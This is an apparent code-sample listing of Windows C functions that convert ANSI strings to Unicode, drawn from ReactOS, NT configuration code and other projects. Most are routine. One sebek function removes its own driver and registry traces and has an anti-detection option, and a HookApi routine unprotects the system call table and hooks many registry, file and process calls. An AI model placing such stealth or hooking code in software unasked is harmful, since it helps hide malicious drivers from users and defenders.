            &KeyName,
            0,
            OldHandle,
            NULL
            );
        ObjectAttributes.Attributes |= OBJ_CASE_INSENSITIVE;

        Status = NtCreateKey(
                    &Handle,
                    KEY_READ | KEY_WRITE,
                    &ObjectAttributes,
                    TITLE_INDEX_VALUE,
                    &(CmClassName[Component->Class]),
                    0,
                    &Disposition
                    );

        NtClose(OldHandle);

        if (!NT_SUCCESS(Status)) {
            return(Status);
        }

        ASSERT(Disposition == REG_CREATED_NEW_KEY);
    }

    //
    // Create a value which describes the following component information:
    //     Flags, Cersion, Key, AffinityMask.
    //

    RtlInitUnicodeString(
        &ValueName,
        L"Component Information"
        );

    Status = NtSetValueKey(
                Handle,
                &ValueName,
                TITLE_INDEX_VALUE,
                REG_BINARY,
                &Component->Flags,
                FIELD_OFFSET(CONFIGURATION_COMPONENT, ConfigurationDataLength) -
                    FIELD_OFFSET(CONFIGURATION_COMPONENT, Flags)
                );

    if (!NT_SUCCESS(Status)) {
        NtClose(Handle);
        return(Status);
    }

    //
    // Create a value which describes the component identifier, if any.
    //

    if (Component->IdentifierLength) {

        RtlInitUnicodeString(
            &ValueName,
            L"Identifier"
            );

        RtlInitAnsiString(
            &AnsiString,
            Component->Identifier
            );

        RtlAnsiStringToUnicodeString(
            &ValueData,
            &AnsiString,
            TRUE
            );

        Status = NtSetValueKey(
                    Handle,
                    &ValueName,
                    TITLE_INDEX_VALUE,
                    REG_SZ,
                    ValueData.Buffer,
                    ValueData.Length + sizeof( UNICODE_NULL )
                    );

        RtlFreeUnicodeString(&ValueData);

        if (!NT_SUCCESS(Status)) {
            NtClose(Handle);
            return(Status);
        }
    }

    //
    // Create a value entry for component configuration data.
    //

    RtlInitUnicodeString(
        &ValueName,
        L"Configuration Data"
        );

    //
    // Create the configuration data based on CM_FULL_RESOURCE_DESCRIPTOR.
    //
    // Note the configuration data in firmware tree may be in the form of
    // CM_PARTIAL_RESOURCE_LIST or nothing.  In both cases, we need to
    // set up the registry configuration data to be in the form of
    // CM_FULL_RESOURCE_DESCRIPTOR.
    //

    if (CurrentEntry->ConfigurationData) {

        //
        // This component has configuration data, we copy the data
        // to our work area, add some more data items and copy the new
        // configuration data to the registry.
        //

        ConfigurationDataLength = Component->ConfigurationDataLength +
                      FIELD_OFFSET(CM_FULL_RESOURCE_DESCRIPTOR,
                      PartialResourceList);

        //
        // Make sure our reserved area is big enough to hold the data.
        //

        if (ConfigurationDataLength > CmpConfigurationAreaSize) {

            //
            // If reserved area is not big enough, we resize our reserved
            // area.  If, unfortunately, the reallocation fails, we simply
            // loss the configuration data of this particular component.
            //

            NewArea = (PCM_FULL_RESOURCE_DESCRIPTOR)ExAllocatePool(
                                            PagedPool,
                                            ConfigurationDataLength
                                            );

            if (NewArea) {
                CmpConfigurationAreaSize = ConfigurationDataLength;
                ExFreePool(CmpConfigurationData);
                CmpConfigurationData = NewArea;
                RtlMoveMemory(
                    (PUCHAR)&CmpConfigurationData->PartialResourceList.Version,
                    CurrentEntry->ConfigurationData,
                    Component->ConfigurationDataLength
                    );
            } else {
                Component->ConfigurationDataLength = 0;
                CurrentEntry->ConfigurationData = NULL;
            }
        } else {
            RtlMoveMemory(
                (PUCHAR)&CmpConfigurationData->PartialResourceList.Version,
                CurrentEntry->ConfigurationData,
                Component->ConfigurationDataLength
                );
        }

    }

    if (CurrentEntry->ConfigurationData == NULL) {

        //
        // This component has NO configuration data (or we can't resize
        // our reserved area to hold the data), we simple add whatever
        // is required to set up a CM_FULL_RESOURCE_LIST.
        //

        CmpConfigurationData->PartialResourceList.Version = 0;
        CmpConfigurationData->PartialResourceList.Revision = 0;
        CmpConfigurationData->PartialResourceList.Count = 0;
        ConfigurationDataLength = FIELD_OFFSET(CM_FULL_RESOURCE_DESCRIPTOR,
                                               PartialResourceList) +
                                  FIELD_OFFSET(CM_PARTIAL_RESOURCE_LIST,
                                               PartialDescriptors);
    }

    //
    // Set up InterfaceType and BusNumber for the component.
    //

    CmpConfigurationData->InterfaceType = InterfaceType;
    CmpConfigurationData->BusNumber = BusNumber;

    //
    // Write the newly constructed configuration data to the hardware registry
    //

    Status = NtSetValueKey(
                Handle,
                &ValueName,
                TITLE_INDEX_VALUE,
                REG_FULL_RESOURCE_DESCRIPTOR,
                CmpConfigurationData,
                ConfigurationDataLength
                );

    if (!NT_SUCCESS(Status)) {
        NtClose(Handle);
        return(Status);
    }

    *NewHandle = Handle;
    return(STATUS_SUCCESS);

}
Exemplo n.º 23
0
Arquivo: util.c Projeto: Endt4sk/sebek
BOOLEAN RemoveModule(void)
{
	UNICODE_STRING usKeyName, usServiceName;
	ANSI_STRING asServiceName;
	BOOLEAN fRet = TRUE;
	HANDLE hKey;
	OBJECT_ATTRIBUTES objAttr;
	NTSTATUS status;
	IO_STATUS_BLOCK ioStatusBlock;
	UNICODE_STRING usServicesKey;
	UNICODE_STRING usEnumKeyName;

	RtlInitUnicodeString(&usServicesKey, L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\");
	RtlInitUnicodeString(&usEnumKeyName, L"\\Enum");
	RtlInitUnicodeString(&usKeyName, NULL);

	DBGOUT(("ServiceName ANSI: %s", g_ServiceName));
	RtlInitAnsiString(&asServiceName, g_ServiceName);
	status = RtlAnsiStringToUnicodeString(&usServiceName, &asServiceName, TRUE);
	if(!NT_SUCCESS(status)) {
		DBGOUT(("RemoveModule: FAILURE in  RtlAnsiStringToUnicodeString %08x!", status));
		fRet = FALSE;
		goto end;
	}

	DBGOUT(("ServiceName UNICODE: %S", usServiceName.Buffer));
	// Remove our registry entries
	usKeyName.MaximumLength = usServicesKey.Length + usServiceName.Length + usEnumKeyName.Length + sizeof(WCHAR);
	usKeyName.Buffer = ExAllocatePoolWithTag(NonPagedPool, usKeyName.MaximumLength, HELPER_POOL_TAG);
	RtlZeroMemory(usKeyName.Buffer, usKeyName.MaximumLength);
	DBGOUT(("KeyName Length: %d", usKeyName.MaximumLength));

	RtlCopyUnicodeString(&usKeyName, &usServicesKey);
	status = RtlAppendUnicodeStringToString(&usKeyName, &usServiceName);
	if(!NT_SUCCESS(status)) {
		DBGOUT(("RemoveModule: FAILURE in RtlAppendUnicodeStringToString %08x!", status));
		fRet = FALSE;
		goto end;
	}

	status = RtlAppendUnicodeStringToString(&usKeyName, &usEnumKeyName);
	if(!NT_SUCCESS(status)) {
		DBGOUT(("RemoveModule: FAILURE in RtlAppendUnicodeStringToString %08x!", status));
		fRet = FALSE;
		goto end;
	}

	InitializeObjectAttributes(&objAttr, &usKeyName,0,NULL,NULL);

	DBGOUT(("Attempting to delete reg key %S", usKeyName.Buffer));
#ifdef ENABLE_ANTIDETECTION
	status = s_fnZwOpenKey(&hKey, DELETE, &objAttr);
#else
	status = ZwOpenKey(&hKey, DELETE, &objAttr);
#endif
	if(!NT_SUCCESS(status)) {
		DBGOUT(("RemoveModule: FAILURE in ZwOpenKey %08x!", status));
		fRet = FALSE;
		goto end;
	}

	status = ZwDeleteKey(hKey);
	if(!NT_SUCCESS(status)) {
		DBGOUT(("RemoveModule: Unable to ZwDeleteKey %08x!", status));
		fRet = FALSE;
		goto end;
	}

	// Remove our root key entry now
	RtlZeroMemory(usKeyName.Buffer, usKeyName.MaximumLength);
	RtlCopyUnicodeString(&usKeyName, &usServicesKey);
	status = RtlAppendUnicodeStringToString(&usKeyName, &usServiceName);
	if(!NT_SUCCESS(status)) {
		DBGOUT(("RemoveModule: FAILURE in RtlAppendUnicodeStringToString %08x!", status));
		fRet = FALSE;
		goto end;
	}

	InitializeObjectAttributes(&objAttr, &usKeyName,0,NULL,NULL);
	DBGOUT(("Attempting to delete reg key %S", usKeyName.Buffer));
#ifdef ENABLE_ANTIDETECTION
	status = s_fnZwOpenKey(&hKey, DELETE, &objAttr);
#else
	status = ZwOpenKey(&hKey, DELETE, &objAttr);
#endif
	if(!NT_SUCCESS(status)) {
		DBGOUT(("RemoveModule: FAILURE in ZwOpenKey %08x!", status));
		fRet = FALSE;
		goto end;
	}

	status = ZwDeleteKey(hKey);
	if(!NT_SUCCESS(status)) {
		DBGOUT(("RemoveModule: Unable to ZwDeleteKey %08x!", status));
		fRet = FALSE;
		goto end;
	}

	if(!_wcsnicmp(g_ImagePath.Buffer, L"system32", 8)) {
		UNICODE_STRING usSysRoot;
		RtlInitUnicodeString(&usSysRoot, L"\\SystemRoot\\");
		// Prepend \SystemRoot\ to the string
		ExFreePool(usKeyName.Buffer);
		usKeyName.MaximumLength = usSysRoot.Length + g_ImagePath.Length + sizeof(WCHAR);
		usKeyName.Buffer = ExAllocatePoolWithTag(NonPagedPool, usKeyName.MaximumLength, HELPER_POOL_TAG);
		RtlZeroMemory(usKeyName.Buffer, usKeyName.MaximumLength);
		RtlCopyUnicodeString(&usKeyName, &usSysRoot);
		status = RtlAppendUnicodeStringToString(&usKeyName, &g_ImagePath);
		if(!NT_SUCCESS(status)) {
			DBGOUT(("RemoveModule: FAILURE in RtlAppendUnicodeStringToString %08x!", status));
			fRet = FALSE;
			goto end;
		}

		InitializeObjectAttributes(&objAttr, &usKeyName,  OBJ_CASE_INSENSITIVE, NULL, NULL);
	} else {
		// Use whatever was there
		InitializeObjectAttributes(&objAttr, &g_ImagePath,  OBJ_CASE_INSENSITIVE, NULL, NULL);
	}
	// Remove our file
	DBGOUT(("Removing file %S", objAttr.ObjectName->Buffer));

	status = ZwCreateFile(&hKey, DELETE, &objAttr, &ioStatusBlock, (PLARGE_INTEGER)NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, FILE_DELETE_ON_CLOSE, 0, 0);
	if(!NT_SUCCESS(status)) {
		DBGOUT(("RemoveModule: Unable to ZwCreateFile %08x!", status));
		fRet = FALSE;
		goto end;
	}

	status = ZwClose(hKey);
	if(!NT_SUCCESS(status)) {
		DBGOUT(("RemoveModule: Unable to ZwClose File %08x!", status));
		fRet = FALSE;
		goto end;
	}

end:
	RtlFreeUnicodeString(&usServiceName);
	ExFreePool(usKeyName.Buffer);
	return fRet;
}
Exemplo n.º 24
0
Arquivo: dc.c Projeto: GYGit/reactos
/*
 * @implemented
 */
HDC
WINAPI
CreateDCA (
    LPCSTR lpszDriver,
    LPCSTR lpszDevice,
    LPCSTR lpszOutput,
    CONST DEVMODEA * lpdvmInit)
{
    ANSI_STRING DriverA, DeviceA, OutputA;
    UNICODE_STRING DriverU, DeviceU, OutputU;
    LPDEVMODEW dvmInitW = NULL;
    HDC hdc;

    /*
     * If needed, convert to Unicode
     * any string parameter.
     */

    if (lpszDriver != NULL)
    {
        RtlInitAnsiString(&DriverA, (LPSTR)lpszDriver);
        RtlAnsiStringToUnicodeString(&DriverU, &DriverA, TRUE);
    }
    else
    {
        DriverU.Buffer = NULL;
    }

    if (lpszDevice != NULL)
    {
        RtlInitAnsiString(&DeviceA, (LPSTR)lpszDevice);
        RtlAnsiStringToUnicodeString(&DeviceU, &DeviceA, TRUE);
    }
    else
    {
        DeviceU.Buffer = NULL;
    }

    if (lpszOutput != NULL)
    {
        RtlInitAnsiString(&OutputA, (LPSTR)lpszOutput);
        RtlAnsiStringToUnicodeString(&OutputU, &OutputA, TRUE);
    }
    else
    {
        OutputU.Buffer = NULL;
    }

    if (lpdvmInit != NULL)
        dvmInitW = GdiConvertToDevmodeW((LPDEVMODEA)lpdvmInit);

    hdc = IntCreateDICW(DriverU.Buffer,
                        DeviceU.Buffer,
                        OutputU.Buffer,
                        lpdvmInit ? dvmInitW : NULL,
                        0);
    HEAP_free(dvmInitW);

    /* Free Unicode parameters. */
    RtlFreeUnicodeString(&DriverU);
    RtlFreeUnicodeString(&DeviceU);
    RtlFreeUnicodeString(&OutputU);

    /* Return the DC handle. */
    return hdc;
}
Exemplo n.º 25
0
/*
 * @implemented
 */
DWORD
WINAPI
ExpandEnvironmentStringsA (
	LPCSTR	lpSrc,
	LPSTR	lpDst,
	DWORD	nSize
	)
{
	ANSI_STRING Source;
	ANSI_STRING Destination;
	UNICODE_STRING SourceU;
	UNICODE_STRING DestinationU;
	NTSTATUS Status;
	ULONG Length = 0;

	RtlInitAnsiString (&Source,
	                   (LPSTR)lpSrc);
	Status = RtlAnsiStringToUnicodeString (&SourceU,
	                                       &Source,
	                                       TRUE);
        if (!NT_SUCCESS(Status))
        {
            SetLastErrorByStatus (Status);
            return 0;
        }

    /* make sure we don't overflow the maximum ANSI_STRING size */
    if (nSize > 0x7fff)
        nSize = 0x7fff;

	Destination.Length = 0;
	Destination.MaximumLength = (USHORT)nSize;
	Destination.Buffer = lpDst;

	DestinationU.Length = 0;
	DestinationU.MaximumLength = (USHORT)nSize * sizeof(WCHAR);
	DestinationU.Buffer = RtlAllocateHeap (RtlGetProcessHeap (),
	                                       0,
	                                       DestinationU.MaximumLength);
        if (DestinationU.Buffer == NULL)
        {
            RtlFreeUnicodeString(&SourceU);
            SetLastError(ERROR_NOT_ENOUGH_MEMORY);
            return 0;
        }

	Status = RtlExpandEnvironmentStrings_U (NULL,
	                                        &SourceU,
	                                        &DestinationU,
	                                        &Length);

	RtlFreeUnicodeString (&SourceU);

	if (!NT_SUCCESS(Status))
	{
		SetLastErrorByStatus (Status);
		if (Status != STATUS_BUFFER_TOO_SMALL)
		{
			RtlFreeHeap (RtlGetProcessHeap (),
			             0,
			             DestinationU.Buffer);
			return 0;
		}
	}

	RtlUnicodeStringToAnsiString (&Destination,
	                              &DestinationU,
	                              FALSE);

	RtlFreeHeap (RtlGetProcessHeap (),
	             0,
	             DestinationU.Buffer);

	return (Length / sizeof(WCHAR));
}
Exemplo n.º 26
0
/*
 * @implemented
 */
BOOL WINAPI
LogonUserW(LPWSTR lpszUsername,
           LPWSTR lpszDomain,
           LPWSTR lpszPassword,
           DWORD dwLogonType,
           DWORD dwLogonProvider,
           PHANDLE phToken)
{
    SID_IDENTIFIER_AUTHORITY LocalAuthority = {SECURITY_LOCAL_SID_AUTHORITY};
    SID_IDENTIFIER_AUTHORITY SystemAuthority = {SECURITY_NT_AUTHORITY};
    PSID LogonSid = NULL;
    PSID LocalSid = NULL;
    LSA_STRING OriginName;
    UNICODE_STRING DomainName;
    UNICODE_STRING UserName;
    UNICODE_STRING Password;
    PMSV1_0_INTERACTIVE_LOGON AuthInfo = NULL;
    ULONG AuthInfoLength;
    ULONG_PTR Ptr;
    TOKEN_SOURCE TokenSource;
    PTOKEN_GROUPS TokenGroups = NULL;
    PMSV1_0_INTERACTIVE_PROFILE ProfileBuffer = NULL;
    ULONG ProfileBufferLength = 0;
    LUID Luid = {0, 0};
    LUID LogonId = {0, 0};
    HANDLE TokenHandle = NULL;
    QUOTA_LIMITS QuotaLimits;
    SECURITY_LOGON_TYPE LogonType;
    NTSTATUS SubStatus = STATUS_SUCCESS;
    NTSTATUS Status;

    *phToken = NULL;

    switch (dwLogonType)
    {
        case LOGON32_LOGON_INTERACTIVE:
            LogonType = Interactive;
            break;

        case LOGON32_LOGON_NETWORK:
            LogonType = Network;
            break;

        case LOGON32_LOGON_BATCH:
            LogonType = Batch;
            break;

        case LOGON32_LOGON_SERVICE:
            LogonType = Service;
            break;

       default:
            ERR("Invalid logon type: %ul\n", dwLogonType);
            Status = STATUS_INVALID_PARAMETER;
            goto done;
    }

    if (LsaHandle == NULL)
    {
        Status = OpenLogonLsaHandle();
        if (!NT_SUCCESS(Status))
            goto done;
    }

    RtlInitAnsiString((PANSI_STRING)&OriginName,
                      "Advapi32 Logon");

    RtlInitUnicodeString(&DomainName,
                         lpszDomain);

    RtlInitUnicodeString(&UserName,
                         lpszUsername);

    RtlInitUnicodeString(&Password,
                         lpszPassword);

    AuthInfoLength = sizeof(MSV1_0_INTERACTIVE_LOGON)+
                     DomainName.MaximumLength +
                     UserName.MaximumLength +
                     Password.MaximumLength;

    AuthInfo = RtlAllocateHeap(RtlGetProcessHeap(),
                               HEAP_ZERO_MEMORY,
                               AuthInfoLength);
    if (AuthInfo == NULL)
    {
        Status = STATUS_INSUFFICIENT_RESOURCES;
        goto done;
    }

    AuthInfo->MessageType = MsV1_0InteractiveLogon;

    Ptr = (ULONG_PTR)AuthInfo + sizeof(MSV1_0_INTERACTIVE_LOGON);

    AuthInfo->LogonDomainName.Length = DomainName.Length;
    AuthInfo->LogonDomainName.MaximumLength = DomainName.MaximumLength;
    AuthInfo->LogonDomainName.Buffer = (DomainName.Buffer == NULL) ? NULL : (PWCHAR)Ptr;
    if (DomainName.MaximumLength > 0)
    {
        RtlCopyMemory(AuthInfo->LogonDomainName.Buffer,
                      DomainName.Buffer,
                      DomainName.MaximumLength);

        Ptr += DomainName.MaximumLength;
    }

    AuthInfo->UserName.Length = UserName.Length;
    AuthInfo->UserName.MaximumLength = UserName.MaximumLength;
    AuthInfo->UserName.Buffer = (PWCHAR)Ptr;
    if (UserName.MaximumLength > 0)
        RtlCopyMemory(AuthInfo->UserName.Buffer,
                      UserName.Buffer,
                      UserName.MaximumLength);

    Ptr += UserName.MaximumLength;

    AuthInfo->Password.Length = Password.Length;
    AuthInfo->Password.MaximumLength = Password.MaximumLength;
    AuthInfo->Password.Buffer = (PWCHAR)Ptr;
    if (Password.MaximumLength > 0)
        RtlCopyMemory(AuthInfo->Password.Buffer,
                      Password.Buffer,
                      Password.MaximumLength);

    /* Create the Logon SID*/
    AllocateLocallyUniqueId(&LogonId);
    Status = RtlAllocateAndInitializeSid(&SystemAuthority,
                                         SECURITY_LOGON_IDS_RID_COUNT,
                                         SECURITY_LOGON_IDS_RID,
                                         LogonId.HighPart,
                                         LogonId.LowPart,
                                         SECURITY_NULL_RID,
                                         SECURITY_NULL_RID,
                                         SECURITY_NULL_RID,
                                         SECURITY_NULL_RID,
                                         SECURITY_NULL_RID,
                                         &LogonSid);
    if (!NT_SUCCESS(Status))
        goto done;

    /* Create the Local SID*/
    Status = RtlAllocateAndInitializeSid(&LocalAuthority,
                                         1,
                                         SECURITY_LOCAL_RID,
                                         SECURITY_NULL_RID,
                                         SECURITY_NULL_RID,
                                         SECURITY_NULL_RID,
                                         SECURITY_NULL_RID,
                                         SECURITY_NULL_RID,
                                         SECURITY_NULL_RID,
                                         SECURITY_NULL_RID,
                                         &LocalSid);
    if (!NT_SUCCESS(Status))
        goto done;

    /* Allocate and set the token groups */
    TokenGroups = RtlAllocateHeap(RtlGetProcessHeap(),
                                  HEAP_ZERO_MEMORY,
                                  sizeof(TOKEN_GROUPS) + ((2 - ANYSIZE_ARRAY) * sizeof(SID_AND_ATTRIBUTES)));
    if (TokenGroups == NULL)
    {
        Status = STATUS_INSUFFICIENT_RESOURCES;
        goto done;
    }

    TokenGroups->GroupCount = 2;
    TokenGroups->Groups[0].Sid = LogonSid;
    TokenGroups->Groups[0].Attributes = SE_GROUP_MANDATORY | SE_GROUP_ENABLED |
                                        SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_LOGON_ID;
    TokenGroups->Groups[1].Sid = LocalSid;
    TokenGroups->Groups[1].Attributes = SE_GROUP_MANDATORY | SE_GROUP_ENABLED |
                                        SE_GROUP_ENABLED_BY_DEFAULT;

    /* Set the token source */
    strncpy(TokenSource.SourceName, "Advapi  ", sizeof(TokenSource.SourceName));
    AllocateLocallyUniqueId(&TokenSource.SourceIdentifier);

    Status = LsaLogonUser(LsaHandle,
                          &OriginName,
                          LogonType,
                          AuthenticationPackage,
                          (PVOID)AuthInfo,
                          AuthInfoLength,
                          TokenGroups,
                          &TokenSource,
                          (PVOID*)&ProfileBuffer,
                          &ProfileBufferLength,
                          &Luid,
                          &TokenHandle,
                          &QuotaLimits,
                          &SubStatus);
    if (!NT_SUCCESS(Status))
    {
        ERR("LsaLogonUser failed (Status 0x%08lx)\n", Status);
        goto done;
    }

    if (ProfileBuffer != NULL)
    {
        TRACE("ProfileBuffer: %p\n", ProfileBuffer);
        TRACE("MessageType: %u\n", ProfileBuffer->MessageType);

        TRACE("FullName: %p\n", ProfileBuffer->FullName.Buffer);
        TRACE("FullName: %S\n", ProfileBuffer->FullName.Buffer);

        TRACE("LogonServer: %p\n", ProfileBuffer->LogonServer.Buffer);
        TRACE("LogonServer: %S\n", ProfileBuffer->LogonServer.Buffer);
    }

    TRACE("Luid: 0x%08lx%08lx\n", Luid.HighPart, Luid.LowPart);

    if (TokenHandle != NULL)
    {
        TRACE("TokenHandle: %p\n", TokenHandle);
    }

    *phToken = TokenHandle;

done:
    if (ProfileBuffer != NULL)
        LsaFreeReturnBuffer(ProfileBuffer);

    if (!NT_SUCCESS(Status))
    {
        if (TokenHandle != NULL)
            CloseHandle(TokenHandle);
    }

    if (TokenGroups != NULL)
        RtlFreeHeap(RtlGetProcessHeap(), 0, TokenGroups);

    if (LocalSid != NULL)
        RtlFreeSid(LocalSid);

    if (LogonSid != NULL)
        RtlFreeSid(LogonSid);

    if (AuthInfo != NULL)
        RtlFreeHeap(RtlGetProcessHeap(), 0, AuthInfo);

    if (!NT_SUCCESS(Status))
    {
        SetLastError(RtlNtStatusToDosError(Status));
        return FALSE;
    }

    return TRUE;
}
Exemplo n.º 27
0
/*
 * FUNCTION: Finds next file in the cabinet that matches a search criteria
 * ARGUMENTS:
 *     Search = Pointer to search structure
 * RETURNS:
 *     Status of operation
 */
ULONG
CabinetFindNext(PCAB_SEARCH Search)
{
    PCFFILE Prev;
    ANSI_STRING AnsiString;
    UNICODE_STRING UnicodeString;
    WCHAR FileName[MAX_PATH];

    if (wcscmp(Search->Cabinet, CabinetName) != 0)
    {
        /* restart search of cabinet has changed since last find */
        Search->File = 0;
    }

    if (!Search->File)
    {
        /* starting new search or cabinet */
        Search->File = (PCFFILE)(FileBuffer + PCABHeader->FileTableOffset);
        Search->Index = 0;
        Prev = 0;
    }
    else
        Prev = Search->File;

    while (TRUE)
    {
        /* look at each file in the archive and see if we found a match */
        if (Search->File->FolderIndex == 0xFFFD ||
            Search->File->FolderIndex == 0xFFFF)
        {
            /* skip files continued from previous cab */
            DPRINT("Skipping file (%s): FileOffset (0x%X), "
                   "LastFileOffset (0x%X)\n", (char *)(Search->File + 1),
                   Search->File->FileOffset, LastFileOffset);
        }
        else
        {
            // FIXME: check for match against search criteria
            if (Search->File != Prev)
            {
                if (Prev == NULL || Search->File->FolderIndex != Prev->FolderIndex)
                {
                    Search->CFData = NULL;
                    Search->Offset = 0;
                }
                
                /* don't match the file we started with */
                if (wcscmp(Search->Search, L"*") == 0)
                {
                    /* take any file */
                    break;
                }
                else
                {
                    /* otherwise, try to match the exact file name */
                    RtlInitAnsiString(&AnsiString, Search->File->FileName);
                    UnicodeString.Buffer = FileName;
                    UnicodeString.Buffer[0] = 0;
                    UnicodeString.Length = 0;
                    UnicodeString.MaximumLength = sizeof(FileName);
                    RtlAnsiStringToUnicodeString(&UnicodeString, &AnsiString, FALSE);
                    if (wcscmp(Search->Search, UnicodeString.Buffer) == 0)
                        break;
                }
            }
        }

        /* if we make it here we found no match, so move to the next file */
        Search->Index++;
        if (Search->Index >= PCABHeader->FileCount)
        {
            /* we have reached the end of this cabinet */
            DPRINT("End of cabinet reached\n");
            return CAB_STATUS_NOFILE;
        }
        else
            Search->File = (PCFFILE)(strchr((char *)(Search->File + 1), 0) + 1);
    }

    DPRINT("Found file %s\n", Search->File->FileName);
    return CAB_STATUS_SUCCESS;
}
Exemplo n.º 28
0
//------------------------------------------------------------------------------------
NTSTATUS HookApi()
{
	SMFile posFile ;
	LARGE_INTEGER u64FileSize ;
	LARGE_INTEGER u64CurrentOffset;
	char strImageName[260];
	ANSI_STRING TempImageName ;
	g_uPidList = 0 ;
	if ( !NT_SUCCESS(UnProtectSSDT(&MappedSystemCallTable) ) )
	{
		return STATUS_UNSUCCESSFUL;
	}
	if ( !NT_SUCCESS (SMCreateFileForRead ( &posFile , L"\\??\\C:\\Warm.txt")) ) 
	{
		return STATUS_UNSUCCESSFUL;
	}
	if ( !NT_SUCCESS (SMGetFileLength ( &posFile , &u64FileSize )) ) 
	{
		SMCloseFile(&posFile);
		return STATUS_UNSUCCESSFUL;
	}
	
	if ( !NT_SUCCESS(SMReadFile( &posFile , strImageName , &u64FileSize.LowPart )))
	{
		SMCloseFile(&posFile);
		return STATUS_UNSUCCESSFUL;
	}

	SMCloseFile(&posFile);
	strImageName[min(u64FileSize.LowPart,sizeof (strImageName)-1)] = '\0';
	RtlInitAnsiString (&TempImageName,strImageName);

	if ( !NT_SUCCESS(RtlAnsiStringToUnicodeString (&g_uniImageName,&TempImageName,TRUE)))
	{
		return STATUS_UNSUCCESSFUL;
	}

	PsSetLoadImageNotifyRoutine ( LoadImageNotify );
	PsSetCreateProcessNotifyRoutine(CreateProcessNotify , FALSE);

	oldZwCreateKey = (ZWCREATEKEY)(SYSTEMSERVICE(ZwCreateKey));
	HOOK_SYSCALL (ZwCreateKey , newZwCreateKey ,oldZwCreateKey );

	oldZwDeleteKey = (ZWDELETEKEY)(SYSTEMSERVICE(ZwDeleteKey));
	HOOK_SYSCALL (ZwDeleteKey , newZwDeleteKey  ,oldZwDeleteKey );

	oldZwEnumerateKey = (ZWENUMERATEKEY)(SYSTEMSERVICE(ZwEnumerateKey));
	HOOK_SYSCALL (ZwEnumerateKey , newZwEnumerateKey  ,oldZwEnumerateKey );

    oldZwEnumerateValueKey = (ZWENUMERATEVALUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey));
	HOOK_SYSCALL (ZwEnumerateValueKey , newZwEnumerateValueKey  ,oldZwEnumerateValueKey );

	oldZwOpenKey = (ZWOPENKEY)(SYSTEMSERVICE(ZwOpenKey));
	HOOK_SYSCALL (ZwOpenKey , newZwOpenKey  ,oldZwOpenKey);

	oldZwQueryValueKey = (ZWQUERYVALUEKEY)(SYSTEMSERVICE(ZwQueryValueKey));
	HOOK_SYSCALL (ZwQueryValueKey , newZwQueryValueKey ,oldZwQueryValueKey);

	oldZwSetValueKey = (ZWSETVALUEKEY)(SYSTEMSERVICE(ZwSetValueKey));
	HOOK_SYSCALL (ZwSetValueKey , newZwSetValueKey ,oldZwSetValueKey);

	oldZwNotifyChangeKey = (ZWNOTIFYCHANGEKEY)(SYSTEMSERVICE(ZwNotifyChangeKey));
	HOOK_SYSCALL (ZwNotifyChangeKey , newZwNotifyChangeKey ,oldZwNotifyChangeKey);

	oldZwLoadDriver = (ZWLOADDRIVER)(SYSTEMSERVICE(ZwLoadDriver));
	HOOK_SYSCALL (ZwLoadDriver , newZwLoadDriver ,oldZwLoadDriver);

	oldZwUnloadDriver = (ZWUNLOADDRIVER)(SYSTEMSERVICE(ZwUnloadDriver));
	HOOK_SYSCALL (ZwUnloadDriver , newZwUnloadDriver ,oldZwUnloadDriver);

	oldZwOpenProcess = (ZWOPENPROCESS)(SYSTEMSERVICE(ZwOpenProcess));
	HOOK_SYSCALL (ZwOpenProcess , newZwOpenProcess,oldZwOpenProcess);

	oldZwOpenSection = (ZWOPENSECTION)(SYSTEMSERVICE(ZwOpenSection));
	HOOK_SYSCALL (ZwOpenSection , newZwOpenSection,oldZwOpenSection);

	oldZwMapViewOfSection = (ZWMAPVIEWOFSECTION)(SYSTEMSERVICE(ZwMapViewOfSection));
	HOOK_SYSCALL (ZwMapViewOfSection , newZwMapViewOfSection, oldZwMapViewOfSection);
	
	oldZwCreateSection = (ZWCREATESECTION)(SYSTEMSERVICE(ZwCreateSection));
	HOOK_SYSCALL (ZwCreateSection , newZwCreateSection, oldZwCreateSection);

	oldZwCreateFile = (ZWCREATEFILE)(SYSTEMSERVICE(ZwCreateFile));
	HOOK_SYSCALL (ZwCreateFile , newZwCreateFile, oldZwCreateFile);

	oldZwDeleteFile = (ZWDELETEFILE)(SYSTEMSERVICE(ZwDeleteFile));
	HOOK_SYSCALL (ZwDeleteFile , newZwDeleteFile, oldZwDeleteFile);

	oldZwOpenFile = (ZWOPENFILE)(SYSTEMSERVICE(ZwOpenFile));
	HOOK_SYSCALL (ZwOpenFile , newZwOpenFile, oldZwOpenFile);

	oldZwQueryVolumeInformationFile = (ZWQUERYVOLUMEINFORMATIONFILE)(SYSTEMSERVICE(ZwQueryVolumeInformationFile));
	HOOK_SYSCALL (ZwQueryVolumeInformationFile , newZwQueryVolumeInformationFile, oldZwQueryVolumeInformationFile);

	oldZwSetVolumeInformationFile = (ZWSETVOLUMEINFORMATIONFILE)(SYSTEMSERVICE(ZwSetVolumeInformationFile));
	HOOK_SYSCALL (ZwSetVolumeInformationFile , newZwSetVolumeInformationFile, oldZwSetVolumeInformationFile);

	oldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
	HOOK_SYSCALL (ZwQueryDirectoryFile , newZwQueryDirectoryFile, oldZwQueryDirectoryFile);

	oldZwFsControlFile = (ZWFSCONTROLFILE)(SYSTEMSERVICE(ZwFsControlFile));
	HOOK_SYSCALL (ZwFsControlFile , newZwFsControlFile, oldZwFsControlFile);

	oldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)(SYSTEMSERVICE(ZwDeviceIoControlFile));
	HOOK_SYSCALL (ZwDeviceIoControlFile , newZwDeviceIoControlFile,  oldZwDeviceIoControlFile);


	oldZwReadFile = (ZWREADFILE)(SYSTEMSERVICE(ZwReadFile));
	HOOK_SYSCALL (ZwReadFile , newZwReadFile,  oldZwReadFile);


	return STATUS_SUCCESS;

}
Exemplo n.º 29
0
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
	UNICODE_STRING DeviceName,Win32Device;
	PDEVICE_OBJECT DeviceObject = NULL;
	NTSTATUS status;
	unsigned i;
	HANDLE thhandle;
	RTL_OSVERSIONINFOW osv;
	char pszstr[512];
	ANSI_STRING str_a0;
	ANSI_STRING str_a1;

	RtlInitUnicodeString(&DeviceName,L"\\Device\\hsbsys0");
